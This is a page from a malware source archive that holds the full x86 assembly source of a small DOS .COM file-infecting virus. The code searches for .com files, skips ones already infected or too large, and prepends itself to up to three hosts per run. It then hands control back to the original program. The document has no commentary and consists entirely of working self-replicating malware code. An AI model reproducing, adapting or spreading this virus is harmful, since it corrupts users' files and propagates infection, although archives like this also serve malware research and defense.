mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
154 lines
2.5 KiB
NASM
154 lines
2.5 KiB
NASM
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.model tiny
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.code
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org 100h
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kkk:
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nop ; ID
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count db 90h ; ID
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mov cx,80h
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mov si,0080h
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mov di,0ff7fh
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rep movsb ; save param
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lea ax,begp ; begin prog
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mov cx,ax
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sub ax,100h
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mov ds:[0fah],ax ; len VIR
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add cx,fso
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mov ds:[0f8h],cx ; begin buffer W
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ADD CX,AX
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mov ds:[0f6h],cx ; begin buffer R
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mov cx,ax
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lea si,kkk
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mov di,ds:[0f8h]
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RB: REP MOVSB ; move v
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mov al,3 ; inf. only 3 file
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mov count,al
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stc
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LEA DX,FFF
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MOV AH,4EH
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MOV CX,20H
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INT 21H ; find first
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or ax,ax
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jz LLL
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jmp done
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LLL:
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MOV AH,2FH
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INT 21H ; get DTA
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mov ax,es:[bx+1ah]
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mov ds:[0fch],ax ; size
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add bx,1eh
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mov ds:[0feh],bx ; point to name
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mov ax,'OC' ; "CO"
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sub ax,ds:[009eh]
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je fin ; if file name CO*.com then skip
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add ax,180h ; if new len file + len VIR + 180h > FFF0
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add ax,ds:[0fah] ; then skip this file
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add ax,fso
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cmp ax,0fff0h
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ja fin
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clc
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mov ax,3d02h
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mov dx,bx
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int 21h ; open file
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mov bx,ax
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mov ah,3fh
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mov cx,ds:[0fch]
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mov dx,ds:[0f6h]
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int 21h ; read file
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mov bx,dx
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mov ax,[bx]
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sub ax,9090h
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jz fin ; if file inf. then skip this file
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mov al,'M'
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mov di,dx
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mov cx,ds:[0fch]
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repne scasb
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jne cont
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mov al,'Z'
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cmp es:[di],al
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je fin ; if converted then skip
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cont:
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MOV AX,ds:[0fch]
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mov bx,ds:[0f6h]
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mov [bx-2],ax ; correct old len
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mov ah,3ch
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mov cx,00h
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mov dx,ds:[0feh] ; point to name
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clc
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int 21h ; create file
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mov bx,ax ; #
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mov ah,40h
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mov cx,ds:[0fch]
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add cx,ds:[0fah]
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mov DX,ds:[0f8h]
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int 21h ; write file
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mov ah,3eh
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int 21h ;close file
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dec count
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jz done
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FIN:
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stc
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mov ah,4fh
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int 21h ; find next
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or ax,ax
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jnz done
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JMP lll
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DONE:
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mov cx,80h
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mov si,0ff7fh
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mov di,0080h
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rep movsb ; restore param
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MOV AX,0A4F3H
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mov ds:[0fff9h],ax
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mov al,0eah
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mov ds:[0fffbh],al
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mov ax,100h
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mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
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lea si,begp
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lea di,kkk
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mov ax,cs
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mov ds:[0fffeh],ax
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mov kk,ax
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mov cx,fso
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db 0eah
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dw 0fff9h
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kk dw 0000h
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fff db '*?.com',0
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fso dw 0005h ; source len file
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begp:
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MOV AX,4C00H
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int 21h ; exit
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end kkk
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